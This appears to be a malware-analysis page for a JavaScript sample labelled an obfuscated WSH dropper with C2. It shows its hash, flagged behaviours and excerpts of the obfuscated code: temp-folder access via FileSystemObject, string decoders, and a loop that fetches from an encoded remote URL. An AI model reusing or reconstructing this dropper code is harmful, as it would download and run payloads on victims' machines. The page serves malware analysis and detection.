Suspicious ^80% javascript-malware-collection Download

20170426_e8c22b6617d3dac5fd428689ff796af3.js

Obfuscated WSH dropper with C2 and execution

ADODB.Stream SaveToFile method callCalls an object's open() method

SHA-2565924ebdbc35d2aa20925d3d7f2de935bbb76d706eceb9a267be7f9d6e7a2ef18

MaleculeK(Li)O₄(As₃ErIXe₂)H₆(Cm₂Db₈F₈OsPo₄Ti)

Evidence

References the toString conversion method lines 1–22

1
2
3var dcccfaddfebf = '';
4var  becdfedadcd = [];
5var    dcddbbbfabaa;
6
7
8
9	
10	
11	var cfdcabaccecd = new ActiveXObject('Scripting.FileSystemObject');
12	
13	var debaaacfddfbfbad = cfdcabaccecd.GetSpecialFolder(2);
14
15
16/*
17
18function affebceebd(fbdbccbfdabf) {
19    var cdecfbecaad = fbdbccbfdabf.toString();
20    var dedcaddaaaedddbe = '';
21    for (var eeaeedbedabadc = 0; eeaeedbedabadc < cdecfbecaad.length; eeaeedbedabadc += 2)
22        dedcaddaaaedddbe += String.fromCharCode(parseInt(cdecfbecaad.substr(eeaeedbedabadc, 2) …

parseFloat finite token guard lines 23–39

23:15… caddaaaedddbe;
24}
25
26function eecfbadfefff(ececdeecfeedbb) {
27  return !isNaN(parseFloat(ececdeecfeedbb)) && isFinite(ececdeecfeedbb);
28}
29
⋯10 lines

Indexes characters in a custom alphabet lines 95–103

26… 0; daddaaffbecbe<size ; daddaaffbecbe++){

var bbbcafeb = cbedfeaacccdfed.indexOf(aaabbeec.charAt(daddaaffbecbe));

var cdeddfbcfbdf = bbbcafeb - aafbaddf;
⋯4 lines

Reads an XMLHttpRequest response body lines 130–174

130:54… 49GuSSh%+T4TGT+%T%T%:ShuuShu:',1));
131
132
133var ecffecfdeaca = 0;
134while(true){
135	
136	ecffecfdeaca++;
137	
138	
139	try {
140
141		fbbbff.open(bebdbbbbb('----T-T%%T',1), bebdbbbbb('----9+-T-T-:u2SaSa9+9a-S9u9a-SSh9u9a94Sa9-9o-T9%Sh-:9+-:',1)+'?ff'+ecffecfdeaca, false);
142		fbbbff.send();
143	
144
145	} catch(e) {
146
147		WScript.Sleep(1000);
148		continue;
149
150	}
151	
152
153	var cbefdecfdbab = fbbbff.responseText.indexOf('|||');
154
155    if( cbefdecfdbab == -1 ){
⋯5 lines
161
162	
163	if(fbbbff.Status == 200)break;
164}
165
⋯9 lines

Converts character-code array to string lines 176–192

⋯8 lines
184}
185
186dcddbbbfabaa = String.fromCharCode.apply(String, becdfedadcd);
187
188function cfebeaffadccadeaacbe(acdfbbdb){ 
⋯4 lines